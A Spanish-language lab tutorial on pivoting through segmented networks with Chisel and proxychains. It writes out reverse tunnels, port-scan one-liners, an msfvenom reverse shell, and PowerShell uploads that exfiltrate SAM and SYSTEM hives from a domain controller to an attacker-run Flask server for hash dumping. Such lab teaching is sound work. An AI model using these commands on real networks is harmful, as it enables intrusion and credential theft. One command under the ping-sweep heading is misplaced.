¡Hola y bienvenidos a mi serie sobre Pivoting! En este primer post, vamos a darle un vistazo a cómo usar Chisel para hacer pivoting entre dos segmentos de red. Esta técnica es súper útil, tanto en escenarios reales como en certificaciones como el OSCP, CRTA o eCPPT. Vamos a ver cómo utilizar Chisel para descubrir hosts, enviar y exfiltrar archivos de manera sencilla.
En próximos posts vamos a explorar otras herramientas con el mismo propósito. Recuerda, tener una variedad de herramientas a tu disposición puede hacer mucho más fácil la explotación de sistemas, ya sea en un entorno real o durante un examen te puede salvar la vida 👽.
INTRODUCCIÓN
Antes de pasar a la parte práctica, es importante entender qué es el pivoting. El pivoting es una técnica de hacking que permite obtener acceso a una red adicional a la cual inicialmente no teníamos acceso con nuestra conexión como atacantes.
Por ejemplo, supongamos que comprometemos un servidor Linux en el segmento de red donde nos encontramos. Tras realizar la enumeración del servidor, descubrimos que dicho servidor tiene una interfaz de red conectada a otra red que desconocíamos. En este punto entra en juego el pivoting: configuramos el servidor comprometido para que actúe como un intermediario, permitiendo que las solicitudes desde nuestra máquina atacante lleguen a esa red inalcanzable directamente.
Esta técnica es esencial en pruebas de penetración porque muchas veces los objetivos críticos no están expuestos directamente en el segmento de red inicial. Con el pivoting, podemos navegar a través de estas redes internas para realizar el reconocimiento, explotar servicios vulnerables o extraer información sensible.
En esta primera parte, nos enfocaremos en Chisel, una herramienta ligera y potente que permite establecer túneles TCP o UDP entre la máquina atacante y el host comprometido. ¡Vamos a ello!
¿QUÉ ES CHISEL?
Chisel es una herramienta que crea un servidor y un cliente para configurar un proxy. Con esto, podemos enviar solicitudes a máquinas en otros segmentos de red, realizar reenvíos de puertos, transferir archivos y recibir shells reversas. Esto nos permite evitar reglas de firewall que podrían bloquear el acceso a puertos internos o a otros segmentos de red en caso de que obtengamos acceso a un equipo
LABORATORIO
En este caso, he creado un laboratorio en VirtualBox. Configurar el laboratorio es bastante sencillo: puedes instalar las máquinas de tu preferencia y configurar adaptadores de red HostOnly en diferentes segmentos de red. En este laboratorio, tendremos tres redes:
- La primera, 192.168.50.0/24, donde la máquina atacante y el servidor Debian podrán comunicarse.
- El segundo rango, 10.10.10.0/24, donde el servidor Debian se conectará con una estación de trabajo dentro de AD.
- Y el último rango, 10.10.20.0/24, donde la estación de trabajo podrá comunicarse con el DC.
Por ahora, nos vamos a centrar en el proceso básico de pivoting y en las operaciones necesarias para movernos por la red. No abordaremos vectores de ataque complejos en este artículo, pero en futuros posts simularemos ataques más avanzados y obstáculos que puedan surgir al atacar el AD. Por el momento, comenzaremos con las credenciales de cada máquina.
Dicho esto el laboratorio se vería de la siguiente manera:
Configurar un laboratorio como este es bastante fácil. En mi caso, aproveché las máquinas virtuales que ya tenía y creé adaptadores Host-Only para cada segmento de red. Host-Only en VirtualBox crea una red virtual privada entre la máquina anfitriona y las máquinas virtuales, sin acceso a internet ni a otras redes. Luego, solo es necesario configurar direcciones IP estáticas en el archivo /etc/network/interfaces de cada máquina para asignarles la dirección correcta dentro de su segmento de red.
Como puedes ver, esa es la configuración en VirtualBox para crear las redes. Luego, para cada máquina, deberás configurar direcciones IP estáticas o DHCP en cada rango de red, según prefieras. Te dejo a tu criterio cómo armar tu laboratorio. Si no tienes conocimiento de cómo configurar una IP estática en Linux o Windows, te recomiendo investigar sobre ello, ya que el artículo se haría muy largo y es algo que seguramente encontrarás en evaluaciones reales. Si prefieres que hable sobre ello, déjame saber. ¡Con mucho gusto te ayudo! 😊
¡Vamos a practicar!
Con nuestro laboratorio preparado, asegúrate de que ningún rango de red se comunique con el otro. Puedes hacer un simple ping para comprobarlo. 😄 Lo primero que necesitamos es saber en qué rango de red está nuestra máquina Kali. Para ello, simplemente ejecutamos ifconfig.
Moviéndonos al Segundo Segmento de Red
Como mencioné antes, el primer segmento es el que nos dará acceso a la red interna. En este caso, simplemente entraremos por SSH para no alargar el artículo con un proceso de explotación.
El siguiente paso en el proceso de postexplotación es identificar las interfaces de red disponibles en la máquina comprometida. Esto nos permitirá descubrir posibles subredes o rutas adicionales que podamos explorar. Para ello, podemos utilizar herramientas como ifconfig o ip a, como se muestra a continuación:
Como se puede observar, existe una interfaz de red adicional. El siguiente paso es descubrir qué equipos de red pueden estar presentes en este nuevo rango. Una de las primeras técnicas que podemos utilizar es un ping sweep (barrido ping), que nos permitirá identificar si alguna máquina responde a nuestras solicitudes ICMP.
En este caso, se recomienda realizar el proceso directamente desde la máquina comprometida para evitar falsos negativos al usar herramientas como Chisel, ya que en ocasiones puede ser un poco lento, especialmente durante los escaneos de descubrimiento de hosts o puertos.
Para este propósito, deberás utilizar herramientas nativas. En este caso, puedes emplear bash con un simple comando en formato one-liner, como el siguiente:
proxychains4 -q nc -zv 10.10.10.3 ${1} 2>&1 | grep "Operation" | awk '{print $3,"Open"}'
Genial, obtenemos la IP 10.10.10.3, la cual será nuestro objetivo. Solo como una pequeña nota: no te fíes únicamente de los resultados del ping sweep, ya que puede que los equipos estén activos pero tengan reglas de firewall que bloqueen estas solicitudes. En estos casos, puedes revisar la tabla ARP para identificar dispositivos en la red. En Linux, el comando ip neigh show te permite ver las IPs detectadas junto con sus direcciones MAC almacenadas en la tabla ARP:
También puedes utilizar binarios estáticos para hacer este proceso mucho más rápido. En este caso, podrías usar nmap para realizar un escaneo rápido y detectar dispositivos activos en la red.
¡Excelente! Como podrás observar, en todos nuestros escaneos conseguimos una nueva dirección IP: la 10.10.10.3. ¡Vamos a por esta máquina!
Lo primero que tenemos que hacer es transferir Chisel a la máquina comprometida y luego correr el servidor y el cliente de la siguiente manera:
# Debian ./chisel client 192.168.50.2:1234 4545:127.0.0.1:4545 4646:127.0.0.1:4646 4747:127.0.0.1:4747 R:socks # Kali ./chisel server -p 1234 --reverse --socks5
En la máquina Debian
client: Inicia el cliente Chisel, que se conecta al servidor remoto.192.168.50.2:1234: La dirección IP y el puerto del servidor Chisel al que el cliente se conectará en nuestro caso seria la maquina Kali.4545:127.0.0.1:4545, 4646:127.0.0.1:4646,4747:127.0.0.1:4747: Estos son los puertos locales en la máquina Debian a través de los cuales se redirigirá el tráfico hacia la máquina Kali. En otras palabras, cualquier solicitud que llegue a uno de estos puertos en la máquina Debian será enviada al servidor Kali. Utilizaremos estos puertos para diversas tareas, como:- Enviar archivos o recibir archivos
- Recibir reverse shells
- Recibir la conexión del cliente Chisel de una segunda red, lo cual nos permitirá realizar un doble pivoting y acceder a más redes internas a través de la máquina Kali.
R:socks: Esto indica que Chisel usará el modo «reverse» para crear un túnel de SOCKS5, lo que permite que las aplicaciones en la máquina cliente (Debian) puedan acceder a servicios a través del servidor Chisel en Kali.
En la máquina Kali
server: Inicia el servidor Chisel que escuchará las conexiones entrantes.-p 1234: El puerto en el que el servidor Chisel escucha las conexiones de los clientes. En este caso, está en el puerto 1234.--reverse: Indica que el servidor permitirá conexiones «reverse», es decir, que el cliente (Debian) podrá hacer peticiones hacia la red del servidor (Kali).--socks5: Habilita el servidor SOCKS5 en el puerto especificado. Esto permite que el cliente use el túnel para enviar tráfico a través del servidor Kali como si fuera un servidor SOCKS.
Como se puede observar en la imagen anterior, se crea un proxy SOCKS en el puerto 1080 de la máquina Kali. Para hacer uso de este proxy, podemos usar Proxychains y modificar el archivo /etc/proxychains.conf (en algunas versiones de Proxychains puede ser proxychains.conf y no proxychains4.conf) para que apunte al puerto indicado por Chisel de la siguiente manera:
Con esta configuración, deberíamos ser capaces de tener acceso a la nueva red. Ahora podemos verificar qué puertos están abiertos en la máquina 10.10.10.3, a la que inicialmente no teníamos acceso:
Notarás que los escaneos con Nmap pueden ser bastante lentos cuando los haces a través de túneles como Chisel, ya que la latencia extra afecta el rendimiento. Para sobrellevar este problema, hice un script para escanear puertos con nc y manejar hilos con xargs. Noté que es más rápido que usar Nmap, porque si un puerto no está abierto, simplemente se tarda mucho en responder. Con nc, no hay tanto problema con esto, ya que el escaneo es más eficiente en este tipo de situaciones:
Usamos proxychains junto con netcat de la siguiente manera, tomando un puerto como argumento de entrada. Luego, verificamos si el puerto está abierto, filtrando y mostrando la salida con awk y grep para resaltar el estado ‘Open’:
proxychains4 -q nc -zv 10.10.10.3 ${1} 2>&1 | grep "Operation" | awk '{print $3,"Open"}'
A grandes rasgos, el siguiente comando genera una lista de puertos (del 1 al 65535) y los pasa a un script que los escaneará. Utiliza xargs para ejecutar el escaneo de manera paralela, lo que acelera el proceso al realizar múltiples escaneos al mismo tiempo (hasta 100 procesos simultáneos)
seq 1 65535 | xargs -n 1 -P 100 ./scan_port2.sh
Con estas formas puedes descubrir los puertos abiertos usando proxychains. Ten en cuenta que podrías optar por usar nmap en la máquina comprometida para realizar un escaneo mucho más rápido. Sin embargo, es posible que la máquina objetivo no tenga nmap instalado o que enfrentes problemas de dependencias. Por lo tanto, es importante tener estas técnicas a mano como alternativas si surge algún inconveniente.
Perfecto, con acceso al segundo segmento de red, el siguiente paso sería acceder a la máquina EMPMACHINE. Suponiendo que ya contamos con las credenciales necesarias, podemos proceder a conectarnos a esta máquina y realizar las acciones para saltar al tercer rango de red.
Moviéndonos al Tercer Segmento de Red
Al igual que en los pasos anteriores, es crucial seguir con la metodología de post explotación. En este caso, el primer paso es identificar las interfaces de red de la máquina. Para ello, podemos usar el comando ipconfig en Windows, lo cual nos permitirá conocer las interfaces activas y sus configuraciones IP, lo que será útil para continuar con el movimiento lateral en la red.
Perfecto, ahora que sabemos que el siguiente rango de red es 10.10.20.0/24, el siguiente paso es verificar qué hosts están activos en esa red:
for /L %i in (1,1,254) do @ping -n 1 -w 200 10.10.20.%i | find "Reply from" && echo 10.10.20.%i is alive
Además de realizar un escaneo de la red, también podemos verificar la tabla ARP con el comando arp -a. Esto nos mostrará las direcciones IP y sus respectivas direcciones MAC de los dispositivos que están en la misma red.
El segundo paso es descargar Chisel para poder acceder al tercer rango de red. Para ello, podemos utilizar un servidor HTTP simple de Python. Usaremos uno de los puertos que configuramos previamente, en este caso el puerto 4545, para descargar Chisel a la máquina windows:
Ahora, con Chisel, abrimos una nueva conexión hacia el servidor por el puerto 4747, el cual, como recordamos, redirigimos previamente desde la máquina Debian hacia la máquina Kali. Esto nos permitirá comunicarnos directamente desde el servidor Kali con el cliente en la máquina Windows, aprovechando la redirección de puertos configurada anteriormente. Sin embargo, esta vez necesitaremos cambiar el puerto del proxy de 1080 (el puerto por defecto) a 2080, para evitar interferir con la configuración inicial que utilizamos en el segundo rango de red.
# Windows Doble Pivoting .\chisel.exe client 10.10.10.2:4747 5555:127.0.0.1:5555 5656:127.0.0.1:5656 5757:127.0.0.1:5757 R:2080:socks # Kali ./chisel server -p 4747 --reverse socks
Como puedes ver, los parámetros para Chisel son muy similares a los de la primera etapa de pivoting. Sin embargo, es importante asegurarse de especificar que la IP del servidor corresponde a la máquina Debian, ya que todo el tráfico entrante en Debian en los puertos 4545, 4646 y 4747 se redirigirá hacia Kali. En Kali, esperamos la conexión en cualquiera de estos puertos. Además, es crucial cambiar el puerto que utilizaremos para proxychains, para evitar conflictos con la configuración anterior.
El siguiente paso para acceder al rango de red 10.10.20.0/24 a través de proxychains es modificar el archivo de configuración, cambiando el puerto 1080 por el puerto 2080, que especificamos previamente. Es importante resaltar que podemos realizar este cambio cada vez que necesitemos alternar entre redes, ya sea 10.10.10.0/24 o 10.10.20.0/24. Solo necesitamos comentar la configuración de la red que no utilizamos y descomentar la de la red a la que deseamos acceder.
Podemos repetir el proceso de escaneo de puertos que realizamos anteriormente. Este se llevará a cabo de la misma manera, utilizando herramientas como nmap o nuestro script personalizado en conjunto con xargs:
En este caso, asumimos que contamos con credenciales de Administrador, lo que nos permitirá acceder al Domain Controller y continuar con nuestras actividades en este último segmento de red:
Podemos continuar con la etapa de post-explotación. Para ello, probamos transferir un binario creado previamente con msfvenom con el objetivo de mejorar nuestra terminal y establecer una shell reversa para tener un control más robusto del sistema comprometido.
Para este procedimiento, recuerda que la IP a la que se conectará la shell reversa será la de la máquina cliente. En este caso, como estamos trabajando con doble pivoting, la IP será 10.10.20.2. Además, el puerto que configuramos previamente en Chisel para redirigir el tráfico puede ser cualquiera de los definidos. En este ejemplo, utilizaremos el puerto 5656 para recibir la shell reversa y el puerto 5555 para establecer un servidor con Python, a través del cual descargaremos el ejecutable:
Al ejecutar la shell reversa, el tráfico del puerto 10.10.20.2:5656 será redirigido automáticamente a la máquina Kali en el puerto 5656, gracias a la configuración previa realizada con Chisel:
Transferencia de archivos
Un problema común que puedes encontrar, especialmente en máquinas Windows, es la exfiltración de archivos. Cuando explotamos máquinas con este sistema operativo, una de las formas más fáciles de transferir archivos a nuestra máquina atacante es mediante un servidor SMB. Sin embargo, puede complicarse redirigir este puerto a nuestra máquina atacante. Por lo tanto, podemos recurrir a otros métodos.
En este ejemplo, exfiltraremos archivos críticos, como los archivos SAM y SYSTEM, desde el Domain Controller (DC) hacia nuestra máquina Kali. Para lograrlo, utilizaremos un servidor Python que se encargará de recibir los archivos de manera eficiente y directa.
Primero, extraemos los archivos SAM y SYSTEM, que contienen información crítica como contraseñas y configuraciones del sistema.
Luego, creamos un script que iniciará un servidor utilizando Flask en el puerto 5555. Es importante recordar que este es el puerto al cual redirigimos nuestras conexiones desde la máquina pivotante, lo que nos permitirá recibir los archivos que queremos exfiltrar:
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return "No file part", 400
file = request.files['file']
if file.filename == '':
return "No selected file", 400
# Guardar el archivo en el directorio actual
file.save(os.path.join(os.getcwd(), file.filename))
return "File uploaded successfully!", 200
if __name__ == '__main__':
# Ejecutamops el servidor en el puerto 5555
app.run(host='0.0.0.0', port=5555)
Finalmente, podemos utilizar PowerShell para enviar los archivos mediante una solicitud POST HTTP. Para hacerlo, ejecutamos el siguiente comando, que sube el archivo ‘sam’ a nuestro servidor en Kali (en este caso, redirigido a través de la máquina pivotante)
powershell.exe (New-Object System.Net.WebClient).UploadFile('http://10.10.20.2:5555/upload', '.\sam')
powershell.exe (New-Object System.Net.WebClient).UploadFile('http://10.10.20.2:5555/upload', '.\system')
Para asegurarnos de que los archivos no hayan sufrido modificaciones durante la transferencia, podemos calcular sus hashes MD5. Al comparar los hashes de los archivos originales con los de los archivos exfiltrados, confirmamos que no han sido alterados, ya que los valores de los hashes coinciden:
Por último, usamos secretsdump para extraer los hashes de las contraseñas almacenadas en el archivo SAM y la base de datos de la máquina comprometida.
RESUMEN
Como hemos visto a lo largo de esta serie, realizar pivoting no es una tarea extremadamente complicada, aunque sí puede resultar algo tediosa en ciertos momentos. Lo más importante es entender los principios básicos, Si estás empezando a aprender esta técnica, te recomiendo que realices gráficos como el siguiente para ayudarte a visualizar mejor el proceso y comprender cómo se interconectan las distintas etapas.
Si ya tienes experiencia, espero haberte aportado con algo nuevo. Si deseas seguir practicando, te sugiero que le eches un vistazo a la máquina Reddish de HackTheBox. Además, las técnicas de pivoting que hemos cubierto aquí no solo son útiles en entornos reales, sino que también son esenciales para exámenes como OSCP (en el que no se permite Metasploit), eCPPT y CRTA. Gracias por tomarte el tiempo de leer este artículo, ¡espero que te haya sido útil!
